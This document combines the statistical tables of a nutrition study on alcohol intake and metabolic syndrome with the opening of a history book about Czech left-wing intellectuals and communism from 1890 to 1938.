Body mass (kg) (X ± SD) 80.06 ± 11.56 90.35 ± 12.31 **\<0.001** ^a^ 67.55 ± 11.23 76.81 ± 12.95 **\<0.001** ^a^
Body mass index (BMI) (kg/m^2^) (X ± SD) 26.71 ± 3.45 30.04 ± 3.68 **\<0.001** ^a^ 26.28 ± 4.56 30.27 ± 4.92 **\<0.001** ^a^
Married or in a relationship: *n* (%)\ 1688 (87.33)\ 1952 (90.66)\ **0.001** ^b^ 3538 (75.28)\ 2564 (73.28)\ **0.040** ^b^
Single or widow/widower: *n* (%) 245 (12.67) 201 (9.34) 1162 (24.72) 935 (26.72)
Abdominal obesity: *n* (%) 922 (47.70) 1983 (92.10) **\<0.001** ^b^ 2828 (60.17) 3344 (95.57) **\<0.001** ^b^
Elevated blood pressure or antihypertensive drug treatment: *n* (%) 1318 (68.18) 2049 (95.17) **\<0.001** ^b^ 2558 (54.43) 3181 (90.91) **\<0.001** ^b^
Increased glucose concentration or drug treatment of elevated glucose: *n* (%) 347 (17.95) 1509 (70.09) **\<0.001** ^b^ 345 (7.34) 1898 (54.24) **\<0.001** ^b^
Decreased HDL-cholesterol concentration or drug treatment for reduced HDL-cholesterol: *n* (%) 63 (3.26) 989 (45.94) **\<0.001** ^b^ 296 (6.30) 2254 (64.42) **\<0.001** ^b^
Increased triglycerides concentration or drug treatment for elevated triglycerides: *n* (%) 195 (10.09) 1445 (67.12) **\<0.001** ^b^ 243 (5.17) 2331 (66.62) **\<0.001** ^b^
Alcohol consumption (g/day): *n* (%)
Nondrinkers (Men) Nondrinkers (Women) 265 (13.71) 289 (13.42) **0.015** ^b^ 746 (15.87) 693 (19.81) **\<0.001** ^b^
0.1--10.0 0.1--5.0 1070 (55.35) 1165 (54.11) 3328 (70.81) 2432 (69.51)
10.1--20.0 5.1--10.0 358 (18.52) 399 (18.53) 413 (8.85) 267 (7.63)
20.1--30.0 10.1--15.0 154 (7.97) 151 (7.01) 98 (2.09) 55 (1.57)
\>30.0 \>15.0 86 (4.45) 149 (6.92) 112 (2.38) 52 (1.49)
Current smokers: *n* (%) 444 (22.97) 436 (20.25) **\<0.001** ^b^ 858 (18.26) 646 (18.46) **0.734** ^b^
No smokers: *n* (%) 789 (22.97) 662 (30.75) 2489 (52.96) 1823 (52.10)
Former smokers: *n* (%) 700 (36.21) 1055 (49.00) 1353 (28.78) 1030 (29.44)
Coffee consumption (portion/day) (X ± SD) 1.88 ± 1.94 1.62 ± 1.85 **\<0.001** ^a^ 2.05 ± 1.86 1.68 ± 1.72 **\<0.001** ^a^
Physical activity (METs/min/week^−1^) (X ± SD) 4984.0 ± 4154.9 4319.6 ± 3742.7 **\<0.001** ^a^ 4600.6 ± 3532.2 4204.0 ± 3381.3 **\<0.001** ^a^
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*n*---number of participants; X ± SD---arithmetic mean ± standard deviation; the numbers in bold indicate statistically significant results; ^a^ Mann--Whitney U test; ^b^ chi-square test. HDL: High-density lipoproteins. MetS: Metabolic syndrome. MET: Metabolic equivalent.
nutrients-11-02764-t002_Table 2
######
Odds ratios (OR) and 95% confidence intervals (CI) for MetS.
MetS Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
-------------------------- -------------------------------- ------------- ------------------------------- ----------- -------------------------------------- -----------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 0.99 (0.83--1.20) 0.986 0.99 (0.82--120) 0.920 0.99 (0.81--1.23) 0.973
10.1--20.0 g 1.02 (0.82--1.27) 0.846 1.05 (0.84--1.32) 0.646 1.01 (0.78--1.29) 0.963
20.1--30.0 g 0.90 (0.68--1.19) 0.456 0.98 (0.74--1.31) 0.896 0.94 (0.68--1.29) 0.697
\>30.0 g of alcohol/day **1.59 (1.16--2.17)** **0.004** **1.73 (1.25--2.39)** **0.001** **1.54 (1.08--2.19)** **0.016**
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g **0.79 (0.70--0.88)** **\<0.001** 0.98 (0.87--1.11) 0.796 0.98 (0.86--1.12) 0.772
5.1--10.0 g **0.69 (0.57--0.83)** **\<0.001** 1.02 (0.84--1.25) 0.788 1.11 (0.90--1.37) 0.345
10.1--15.0 g **0.60 (0.43--0.85)** **0.004** 0.92 (0.68--1.41) 0.920 1.12 (0.76--1.65) 0.579
\>15.0 g of alcohol/day **0.50 (0.35--0.71)** **\<0.001** 0.74 (0.52--1.06) 0.100 0.72 (0.49--1.06) 0.100
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model III---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results. Ref.: Reference level.
nutrients-11-02764-t003_Table 3
######
Odds ratios and 95% confidence intervals for abdominal obesity.
Abdominal Obesity Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
--------------------------------------- -------------------------------- ----------- ------------------------------- ----------- -------------------------------------- -------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 0.98 (0.80--1.20) 0.829 0.98 (0.79--1.21) 0.841 1.06 (0.79--1.43) 0.698
10.1--20.0 g 1.04 (0.81--1.32) 0.780 1.07 (0.84--1.37) 0.590 0.95 (0.67--1.35) 0.790
20.1--30.0 g 1.05 (0.77--1.43) 0.746 1.17 (0.85--1.60) 0.344 1.24 (0.79--1.93) 0.352
\>30.0 g of alcohol/day 1.42 (0.99--2.03) 0.054 **1.77 (1.07--2.92)** **0.025** 1.35 (0.68--2.66) 0.389
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g **0.83 (0.72--0.95)** **0.008** 1.01 (0.87--1.16) 0.938 0.91 (0.74--1.11) 0.350
5.1--10.0 g **0.71 (0.58--0.87)** **0.001** 1.00 (0.80--1.24) 0.969 0.99 (0.73--1.34) 0.959
10.1--15.0 g **0.58 (0.40--0.83)** **0.003** 0.91 (0.62--1.32) 0.614 1.07 (0.64--1.80) 0.786
\>15.0 g of alcohol/day **0.62 (0.44--0.89)** **0.009** 0.97 (0.67--1.40) 0.857 0.87 (0.52--1.45) 0.595
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model III---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results. Ref.: Reference level.
nutrients-11-02764-t004_Table 4
######
Odds ratios and 95% confidence intervals for elevated blood pressure.
Elevated Blood Pressure or Antihypertensive Drug Treatment/Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
-------------------------------------------------------------------------------- -------------------------------- ------------- ------------------------------- ------------- -------------------------------------- -----------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 0.95 (0.75--1.21) 0.674 0.90 (0.71--1.15) 0.409 0.90 (0.70--1.15) 0.396
10.1--20.0 g 1.25 (0.93--1.67) 0.138 1.28 (0.95--1.73) 0.104 1.25 (0.92--1.69) 0.152
20.1--30.0 g 1.07 (0.74--1.55) 0.706 1.15 (0.79--1.67) 0.464 1.11 (0.76--1.63) 0.577
\>30.0 g of alcohol/day **2.57 (1.53--4.30)** **\<0.001** **2.76 (1.64--4.65)** **\<0.001** **2.53 (1.49--4.30)** **0.001**
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g **0.76 (0.67--0.87)** **\<0.001** 0.90 (0.78--1.03) 0.117 0.88 (0.77--1.02) 0.084
5.1--10.0 g **0.68 (0.55--0.82)** **\<0.001** 0.92 (0.75--1.14) 0.450 0.95 (0.76--1.17) 0.614
10.1--15.0 g 0.72 (0.50--1.03) 0.072 1.09 (0.75--1.58) 0.665 1.17 (0.80--1.71) 0.424
\>15.0 g of alcohol/day 0.79 (0.56--1.13) 0.204 1.11 (0.77--1.61) 0.569 1.09 (0.75--1.59) 0.650
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model II---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results. Ref.: Reference level.
nutrients-11-02764-t005_Table 5
######
Odds ratios and 95% confidence intervals for increased glucose concentration.
Increased Glucose Concentration or Drug Treatment of Elevated Glucose/Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
------------------------------------------------------------------------------------------- -------------------------------- ----------- ------------------------------- ----------- -------------------------------------- -----------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 0.99 (0.82--1.19) 0.919 1.00 (0.82--1.20) 0.964 1.00 (0.82--1.21) 0.971
10.1--20.0 g 1.15 (0.92--1.43) 0.225 1.22 (0.97--1.52) 0.087 1.19 (0.95--1.50) 0.133
20.1--30.0 g 1.14 (0.86--1.50) 0.372 1.26 (0.95--1.68) 0.113 1.25 (0.93--1.67) 0.135
\>30.0 g of alcohol/day **1.57 (1.16--2.14)** **0.004** **1.70 (1.24--2.32)** **0.001** **1.58 (1.15--2.18)** **0.005**
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g 0.88 (0.78--1.01) 0.061 1.04 (0.91--1.18) 0.597 1.04 (0.91--1.19) 0.569
5.1--10.0 g 1.17 (0.72--1.09) 0.242 1.16 (0.94--1.44) 0.159 1.24 (0.99--1.54) 0.056
10.1--15.0 g 1.17 (0.82--1.66) 0.398 **1.65 (1.14--2.38)** **0.008** **1.84 (1.26--2.70)** **0.002**
\>15.0 g of alcohol/day **0.65 (0.44--0.96)** **0.032** 0.85 (0.57--1.27) 0.436 0.86 (0.60--1.29) 0.466
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model III---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results. Ref.: Reference level.
nutrients-11-02764-t006_Table 6
######
Odds ratios and 95% confidence intervals for decreased HDL-cholesterol concentration.
Decreased HDL Concentration or Drug Treatment for Reduced HDL-Cholesterol/Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
----------------------------------------------------------------------------------------------- -------------------------------- ------------- ------------------------------- ----------- -------------------------------------- -------------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 0.97 (0.79--1.19) 0.778 0.97 (0.79--1.20) 0.777 0.97 (0.78--1.20) 0.779
10.1--20.0 g **0.71 (0.55--0.91)** **0.007** **0.73 (0.56--0.94)** **0.016** **0.70 (0.54--0.91)** **0.008**
20.1--30.0 g **0.57 (0.41--0.80)** **0.001** **0.61 (0.43--0.86)** **0.005** **0.60 (0.42--0.85)** **0.004**
\>30.0 g of alcohol/day **0.51 (0.35--0.75)** **0.001** **0.51 (0.35--0.76)** **0.001** **0.47 (0.32--0.70)** **\<0.001**
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g **0.79 (0.70--0.89)** **\<0.001** 0.93 (0.82--1.06) 0.261 0.93 (0.82--1.05) 0.249
5.1--10.0 g **0.60 (0.49--0.74)** **\<0.001** **0.81 (0.65--0.99)** **0.045** 0.83 (0.67--1.02) 0.083
10.1--15.0 g **0.46 (0.31--0.69)** **\<0.001** **0.66 (0.44--0.99)** **0.048** 0.68 (0.44--1.03) 0.070
\>15.0 g of alcohol/day **0.41 (0.27--0.61)** **\<0.001** **0.55 (0.36--0.82)** **0.004** **0.54 (0.35--0.82)** **0.004**
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model III---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results; Ref.: Reference level.
nutrients-11-02764-t007_Table 7
######
Odds ratios and 95% confidence intervals for increased triglycerides concentration.
Increased Triglycerides Concentration or Drug Treatment for Elevated Triglycerides/Alcohol Consumption Model I Unadjusted OR (95% CI) *p* Model II Adjusted OR (95% CI) *p* Model III Adjusted + BMI OR (95% CI) *p*
-------------------------------------------------------------------------------------------------------- -------------------------------- ----------- ------------------------------- ------- -------------------------------------- -------
Men
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--10.0 g 1.03 (0.85--1.24) 0.794 1.04 (0.86--1.26) 0.703 1.04 (0.85--1.27) 0.687
10.1--20.0 g 1.07 (0.85--1.33) 0.580 1.06 (0.85--1.34) 0.594 1.03 (0.82--1.31) 0.775
20.1--30.0 g 0.99 (0.75--1.32) 0.965 1.02 (0.76--1.37) 0.880 1.01 (0.75--1.36) 0.959
\>30.0g of alcohol/day 1.30 (0.95--1.77) 0.097 1.29 (0.95--1.77) 0.107 1.19 (0.87--1.64) 0.277
Women
Nondrinkers (ref.) 1.00 1.00 1.00
0.1--5.0 g **0.85 (0.76--0.96)** **0.011** 1.02 (0.90--1.16) 0.794 1.02 (0.89--1.16) 0.795
5.1--10.0 g **0.74 (0.61--0.91)** **0.003** 1.01 (0.82--1.24) 0.934 1.04 (0.84--1.28) 0.713
10.1--15.0 g **0.62 (0.42--0.91)** **0.014** 0.90 (0.61--1.33) 0.592 0.93 (0.62--1.39) 0.734
\>15.0 g of alcohol/day **0.55 (0.37--0.80)** **0.002** 0.74 (0.50--1.09) 0.125 0.74 (0.50--1.10) 0.133
Model I---unadjusted; model II---adjusted for age, marital status, education, smoking, coffee consumption and physical activity; model III---adjusted for age, marital status, education, smoking, coffee consumption, physical activity and BMI. The numbers in bold indicate statistically significant results; Ref.: Reference level.
|
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Intellectuals and the Communist Idea
Intellectuals and the Communist Idea
The Search for a New Way in Czech Lands from 1890 to 1938
Ladislav Cabada
Lexington Books
A division of
ROWMAN & LITTLEFIELD PUBLISHERS, INC.
Lanham • Boulder • New York • Toronto • Plymouth, UK
2010
Published by Lexington Books
A division of Rowman & Littlefield Publishers, Inc.
A wholly owned subsidiary of The Rowman & Littlefield Publishing Group, Inc.
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Estover Road, Plymouth PL6 7PY, United Kingdom
Copyright © 2010 by Lexington Books
All rights reserved. No part of this book may be reproduced in any form or by any electronic or mechanical means, including information storage and retrieval systems, without written permission from the publisher, except by a reviewer who may quote passages in a review.
British Library Cataloguing in Publication Information Available
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Cabada, Ladislav.
Intellectuals and the Communist idea : the search for a new way in Czech lands from 1890 to 1938 / Ladislav Cabada.
p. cm.
Includes bibliographical references and index.
ISBN 978-0-7391-4376-6 (cloth : alk. paper)
ISBN 978-0-7391-4378-0 (electronic)
1. Communism—Czechoslovakia—History—20th century. 2. Communism and intellectuals—Czechoslovakia—History—20th century. 3. Socialist parties—Czechoslovakia—History. 4. Komunistická strana Ceskoslovenska—History—20th century. 5. Czechoslovakia—Politics and government—1918–1938. I. Title.
HX260.3.A6C33 2010
320.53'20943709041—dc22 2010022252
` ™ The paper used in this publication meets the minimum requirements of American National Standard for Information Sciences—Permanence of Paper for Printed Library Materials, ANSI/NISO Z39.48-1992.
Printed in the United States of America
For árka and Hanna
## Acknowledgments
When in 1995 I was facing the decision of what topic to focus on in my master's thesis in political science, I took advantage of the fact that this field of science was only in its early developmental stage in the Czech environment. As political science was able to be established in the Czech Republic only after 1989, in the mid-1990s this field of study was far from anchored in institutional, personal, or content terms. Therefore, I had the chance to write about the political consequences of the works of the Czech poet Víteˇzslav Nezval, whose works I found charming, and whom I also remembered as one of the prominent Czech writers who most loyally took part in building the totalitarian regime in Czechoslovakia after 1945. The thesis was supervised by Blanka Rˇíchová, currently head of the Department of Political Science at the Faculty of Social Sciences, Charles University.
However, the study of Nezval's personal path and its intersection with Czechoslovak politics of the first half of the twentieth century rather than clear answers brought me in the years 1995 and 1996 a number of additional questions, this time about entire artistic movements and generations. That is why I decided to significantly expand my research territory and concentrate on the question of the mutual influence between the Czech politics of the left and the cultural and intellectual sphere. In terms of time, my research was limited on the one hand by the 1890s, when following the partial application of general suffrage in the Czech lands the first modern political parties and other political figures were established, and on the other hand by the year 1938, when after the Munich Dictate the Masaryk-era democratic First Czechoslovak Republic ceased to exist. I decided to concentrate on the intellectual and ideological grassroots of the interwar communist artistic vanguard, as it grew from communist, utopian-socialist, and Marxist and Leninist positions. Apart from this theme I also focused on the development of the coexistence of these groups with the Communist Party of Czechoslovakia between the two world wars.
The above-mentioned theme was extensively covered by Czech historiography and literary science after 1948; however, I was of the opinion that their research naturally bore an ideological mark, was exposed to (self-)censorship and also failed to utilize certain sources. Therefore, I decided to review so far unused resources (particularly communist intellectuals' own literary works), but I also turned to until then largely ignored sources—interwar leftist press, which was not institutionally connected to the Communist Party, as well as some newly available archives. I spent almost two years in the archives, mainly in the National Library in Prague. I would like to express my appreciation to the librarians in the magazine section of the library for their support, and also to Martina Benešovská, librarian of the Ministry of Foreign Affairs, whose assistance and contacts helped me reach a number of significant sources. I was able to discuss a number of questions with my friends—students of mass communication, political science, and Czech studies—particularly Luboš Brabec, Radek Dyntar, Martin Ehl, Michal Lamprecht, and Eva and Radim Procházka.
All the collected information was sorted mainly with the help of the consultant of my dissertation, Vladimír Novotný, who now works at the Department of Czech Studies at the School of Education, University of West Bohemia in Pilsen. The final form of the dissertation was significantly influenced by Ivan Bernik, a sociologist and my mentor during my studies at the Faculty of Social Sciences at the University of Ljubljana/Slovenia, where I spent one year of my doctoral study. Ivan Bernik offered me the theoretical and methodological framework for organizing my research findings—mainly in the form of the theory and sociology of culture—and at the same time tactfully and uncompromisingly saw to it that I finished the dissertation. For this, as well as other things, he has my appreciation.
I successfully defended my dissertation in 1999 and subsequently had it published in Czech. It was first published in 2000 by the Institute for Central-European Culture and Politics (ISE)—my thanks mainly to the director of the publishing house, Rudolf Kucˇera—and it was published for the second time in 2005 by the publishing company of Aleš Cˇeneˇk. I am very happy that I can offer my revised edition of this text to a larger number of readers. For this I would like to thank mainly Michael Sisskin from Lexington Books and also the Department of Politics and International Relations at the Faculty of Philosophy and Arts, University of West Bohemia in Pilsen, where I have been teaching for more than ten years and which provided the necessary financial support to publish the English version of the book. Special thanks to Zuzana Krcˇálová and Alera Franková for their help throughout the process of publication.
And last but not least, I would like to thank my family, my wife, árka Waisová, and my daughter, Hanna, for their continued support and understanding. I dedicate this book to them.
# Chapter 1
## Introduction
Theoretical Fundamentals
In terms of politics, the end of the nineteenth century and especially the beginning of the twentieth century brought revolutionary changes that significantly affected and changed the nature of political life. The gradual spread of the right to vote and the introduction of new, increasingly liberal laws meant the end of politics as the privilege of a small group of the chosen few. The coming of the masses that J. Ortega y Gasset writes about so impressively1 necessarily brought about painful conflicts, which very much changed the character of a century coming to its end. The efforts to achieve a more just world order based on economic, social, and political democracy in many places ended up in authoritarian and totalitarian regimes, which especially in Europe between the two world wars gained a very strong position.
Also in the field of culture, the turn of the nineteenth and twentieth centuries brought considerable changes. The disintegration of the so-far more or less unified view, based on the Ancient–Jewish–Christian tradition,2 foreshadowed in the disagreement between romanticism and realism in the first half of the nineteenth century, resulted in terms of culture in the eruption of modernism. The essentially uniform esthetic roots until that time fall apart, giving way to alternative artistic trends that often combine their artistic requirements with political views. Already before WWI, there were calls for new, modern "world orders,"3 which would also ensure free art production based on new esthetic ideas.
According to D. Bell, modern cultural trends, which he calls subcultures, are a manifestation of the disintegration of the unified culture of the classic capitalist era. At the turn of the century, social relations became so complex and differentiated that it was no longer possible to speak of a culture that would reflect the entire society. Thus specialized subcultures are formed, each with its own means of expression, symbols, and so on.4 Similar ideas are displayed in the work of P. Berger, who considers private, meditative subculture to be an element which ensures the stability of private life in modern society.5 "In connection with the term subculture, Berger uses another two terms: 'balkanization' (crumbling) and pluralism."6
Modern culture sets off the disintegration of until then leading traditionalism and academism becomes one of its alternatives. This is based on the assumption that the basic criterion of modernism is the absolute rejection of existing values, both artistic as well as political ones. The conflict between traditional culture and modern trends sharpens, which especially in the 1920s and 1930s gives rise to a wave of avant-garde trends, offering very radical solutions both in the cultural as well as political fields. According to some authors, this negative relationship toward traditional society climaxed in futurism and surrealism. "The most strict judgment [of traditionalism] can be found in the work of Breton, who demanded that the bourgeois way of life be defamed, even by opening fire on a crowd of people; and in the work of Marinetti, who suggested the destruction of its entire cultural heritage, etc."7
Modern culture is also characterized by the fact that the lack of adaptability, oftentimes bordering on a masochistic effort not to be successful, is paradoxically considered to be a success. For example, in surrealism success is considered something undesirable.8 This form of struggle against existing conventions and norms soon transforms into the political sphere. L. Buñuel, the only unquestionably surrealist film director, mentions in his memoirs that surrealists were attracted to the idea of revolution. "Surrealists, who did not consider themselves to be terrorists or armed activists, fought against the society they hated, their main weapon being scandal, which for a long time they considered an all-powerful tool in the fight against social injustice, human exploitation, the stupefying influence of religion, brutal colonial militarism, revealing the secret and invisible driving forces of the system, which needed to be brought down."9
According to Buñuel, surrealists never strived to create a new literary, artistic, or philosophical movement. Their main goal was to subvert the existing society. However, because a scandal was not a sufficiently powerful means, many surrealists10 soon redirected their attention to the political sphere and "mostly joined the communist movement, which alone bore the characteristics of a revolution."11
To follow up on the definition of a subculture by Bell or Berger, surrealists, or members of the avant-garde, represent a certain subculture. However, this is true only up until the moment when cultural and artistic work starts to combine with political activity. That is why both authors strictly differentiate between subculture in the true sense of the word and counterculture. "The first one is defined in relation to the predominant culture and applies to a special space, special reality, in which the values of the general society (especially the universal ones) are abandoned; to a special world which corresponds with its primary interests and identification and which gives its members a feeling of safety, unity,12 etc."13 On the other hand, counterculture represents gathering because of specifically defined social and mainly political goals. "Members of the counterculture do not avoid [the conflict], but they fight and take over 'foreign' worlds. Counterculture is a true alternative to predominant culture, an alternative in the sense of a possible replacement of existing rules with new ones. For members of the counterculture, co-existence with the predominant culture is unacceptable."14
Of course, it is difficult to draw a line between subculture and counterculture because the goals set by the avant-garde cultural movements, as well as the means they use for their implementation, are so different and also very specific, that it is impossible to define unquestionable and unchanging criteria as for their distinction. According to Rupel, there are usually several countercultural movements,15 all with their own political ambitions. Individual avant-garde movements focus not only on subverting the existing cultural and political system, but they also compete with one another, they deny one another's avant-garde nature and try to prove their own exclusive position among modern intellectual movements, "they often change and sooner or later refer to a right of cultural renewal and harmony with the historical (and also political) present."16
The combination of some cultural trends with political movements in the 1920s and 1930s resulted in the militarization of a great many intellectuals. This process is also noticeable in interwar Czechoslovakia, not only on the left of the political spectrum in artists joining the Communist Party, but also on the right side of political life, for example, in literary Catholicism.17 Political parties on both sides of the Czechoslovak political scene unscrupulously took advantage of their "modern nature," which they offered to supporters of new cultural trends as a political basis for implementing their esthetic ideals. This militarization of the Czechoslovak cultural left, which can be observed as early as in WWI, is the main topic of this material.
The emerging communist movement was initially very attractive for artists and intellectuals due to its ideology of the inevitability of world revolution, which was about to bring a better world order. Members of all generations of artists supported the left, hazy socialist ideals and also Soviet Russia, which was supposed to implement these ideals in practice. While some, under the impression of the practical politics of the Communist International and the Communist Party of Czechoslovakia, gradually sobered up, others became all the more zealous followers of communism in its soviet form.
Thus, the cultural left in Czechoslovakia moved from the subcultural to the countercultural position. This process, very much inconsistent and often disorganized, will be the subject of my description and analysis in the following text. The focus is on important events in both the cultural as well as political field. Much attention is paid to the formation of the Communist Party in Czechoslovakia. I consider this process, influenced by many ideological as well as personal disagreements between representatives of individual movements, which in the 1920s merged in the Communist Party of Czechoslovakia, to be the foundation to understanding a number of events and mainly conflicts within the Communist Party, not only in the area of culture (for example, activities of former anarchists).
Methodological Foundation
This text was originally written as a dissertation thesis at the Institute of Political Science and was primarily designed as a work of political science. From the theoretical introduction it is clear that the relationship between politics and culture requires a multilateral approach, based not only on politological methodology, but also on a number of other sciences.
In the first place we must mention cultural sociology, an invaluable aid in searching for theoretical, generalizing knowledge of the development of culture, its changes, and splits, and so on. Especially in the 1960s and 1970s, in connection with a wave of Muslim immigrants into Western Europe, the sociology of culture has undoubtedly developed into a very important field of study, which deals with research of the changes to culture,18 but also studies the relationships between individual cultures, their competitiveness, the replacement with one another, and also their collaboration. The basic ideas about cultural development in the twentieth century, which I described in the theoretical fundamentals part, were also presented by scientists who operated on the verge of political science, sociology, and culturology.
Another substantial field of study, virtually indispensable in the work of political science, is history. It is certainly not a coincidence that a number of Czech as well as world historians and political scientists maintain a balance between these two fields. From time to time there are objections to the excessive convergence between political science and history in the Czech academic community; I, on the other hand, consider it a plus that, considering the "historical conditions," a great many Czech political scientists have come with historicizing approaches.
As the publication deals mainly with artists, in some sections one cannot avoid the approach of literary criticism. In the majority of cases, expert opinions are provided; however, the text also contains my own evaluations of some works of art, based on my personal judgment and taste. Although I do realize that one's taste in art is a highly subjective and relative thing, still I hope I have managed to achieve a maximum degree of objectivity.
A large portion of the text is comprised of press analyses. As a political scientist, I am aware of the fact that the information I work with has already been processed and that it can often—especially in the communist press—be quite non-objective; but using such information, naturally compared with other, preferably original sources describing the same event, is crucial for my research as it enables the identification of deceitful and deliberately distorted information. My experience with the communist press urges me to use utmost caution in using information.19 The same applies to the use of sources of a private nature, such as memoirs, for example. It is not rare to encounter a situation where one and the same event is described by several people very differently. Altering reality, whether it be because of a rich imagination, artistic intentions, or for other reasons, is a characteristic trait of artists especially.
While writing this publication I took a multidisciplinary approach that corresponds with the selected topic and flows from the possibilities that the various fields of study offer. I do believe this decision was made to the benefit of this work.
Notes
1. José Ortega y Gasset, Vzpoura davu˚ (Prague: Naše vojsko, 1993).
2. I obviously have in mind only the influence of so-called European culture, leaving aside other cultural and ideological traditions.
3. Undoubtedly the most reflected modern cultural trend in the prewar era was futurism. Daniel Bell, The Cultural Contradictions of Capitalism (New York: Basic Books, 1976).
4. Bell, Cultural Contradictions of Capitalism.
5. Peter Berger, Facing up to Modernity (New York: Basic Books, 1977).
6. Dimitrij Rupel, "Alternativna gibanja v kulturi" in Zbornik sociološkega srecˇanja Neformalne dejavnosti v slovenski družbi, (Ljubljana: Center za družbenopoliticˇno izobraževanje, 1987), 228.
7. In his article, Rupel provides a whole list of avant-garde trends. Apart from the already mentioned surrealism and futurism, the list includes constructivism, zenitism, suprematism, dadaism, expressionism, neo-realism, socialist realism, existentionalism, structuralism, reism, and so on. Rupel, "Atternativna gibanja v kulturi 221–22.
8. Andre Breton, Tri manifesta nadrealizma (Bagdala: Kruševac, 1979).
9. Luis Buñuel, Do posledného dychu (Bratislava: Slovenský spisovatel, 1986), 128.
10. Obviously not only them, but also supporters of modern cultural and art movements.
11. Buñuel, Do posledného dychu, 128.
12. Apart from the family, church, voluntary clubs, and so on.
13. Rupel, "Alternativna gibanja v kulturi," 229.
14. Rupel, "Alternativna gibanja v kulturi," 230.
15. Between WWI and WWII, there were several avant-garde countercultural movements within the Communist Party (proletarian art, surrealism, social realism); according to this definition, ruralism should also be considered counterculture.
16. Rupel, "Alternativna gibanja v kulturi," 222.
17. Jan Rataj, O národní autoritativní stát (Prague: Karolinum, 1998).
18. Apart from the works of P. Berger and D. Bell, let me mention the works of H. Marcuse, D. Hebdige, and M. Brake.
19. Communist terminology uses the term "tactical" to refer to information that is untrue.
# Chapter 2
## The Czech Left in the
Early Twentieth Century
Internationally Oriented Left
The Czechoslovak Social Democratic Workers' Party
The strongest party of the Czech political left at the turn of the nineteenth and twentieth centuries was without doubt the Czechoslovak Social Democratic Workers' Party (hereafter referred to as CˇSDSD), founded in 1878. CˇSDSD was part of the Austrian Social Democratic Party and thus also part of the Second International, an international formation of Marxist parties established in Paris in 1889. The Social Democratic Party's agenda was based on the principles adopted by the Austrian social democratic congress held in Hainfeld at the turn of the years 1888 and 1889. The following are the main principles adopted by the congress:
• The Social Democratic Party is an international party (unity within the entire Austro-Hungarian Empire).
• The party spreads socialist ideas (teachings of Karl Marx).
• In spite of the party's doubts about parliamentarism, the party demands universal suffrage.
• As its basic organizational units, the party forms strong and unified trade unions.
• The party demands free education for everybody and separation of the church and the state.
• The party demands the replacement of a permanent military by the arming of the general population.1
The Hainfeld congress can be viewed as a German-Czech congress, especially when we take into consideration the nationality of the delegates; there were ninety-seven Germans, ten Czechs, two Slovenians, and one Pole.2
In spite of the proclamations of the Hainfeld congress, the national segments within the Austrian Democratic Party started practically from the early 1890s to practice independent politics. This tendency became most noticeable following the implementation of the suffrage reforms by the prime minister, Kazimír Badeni, thanks to which a so-called general (fifth) curia was formed. Because of the reform, the social democrats could for the first time be represented in the Imperial Council. Out of seventy-two seats reserved for the fifth curia, the Social Democratic Party gained fourteen mandates—in terms of nationality, there were seven Germans, five Czechs and two Poles.3 However, entry into parliamentary politics could result in—and in the end actually did result in—the danger of dissension. The social democratic members of parliament faced a dilemma, whether within the Imperial Council to defend international interests (and vote in unison) or national interests (and vote along with representatives of other national parties).
The tension between the supporters of the joint effort policy of all nationalities (centrists) and the supporters of the idea of more independent national politics of individual national parties was also the main item on the agenda of the sixth Austro-Hungarian Social Democratic Congress in June of 1897. The congress transformed the party into a federation of national parties: German, Czech, Polish, South Slavic, and Italian. The social democrats thus inclined to the principles of so-called austromarxism. According to these principles, social democrats "limited the question of nationhood only to the language and culture."4 However, this measure did not manage to prevent the frequent involvement of social democratic members of parliament in individual national Blocs, and consequently disagreement in the entire Austro-Hungarian social democratic movement.
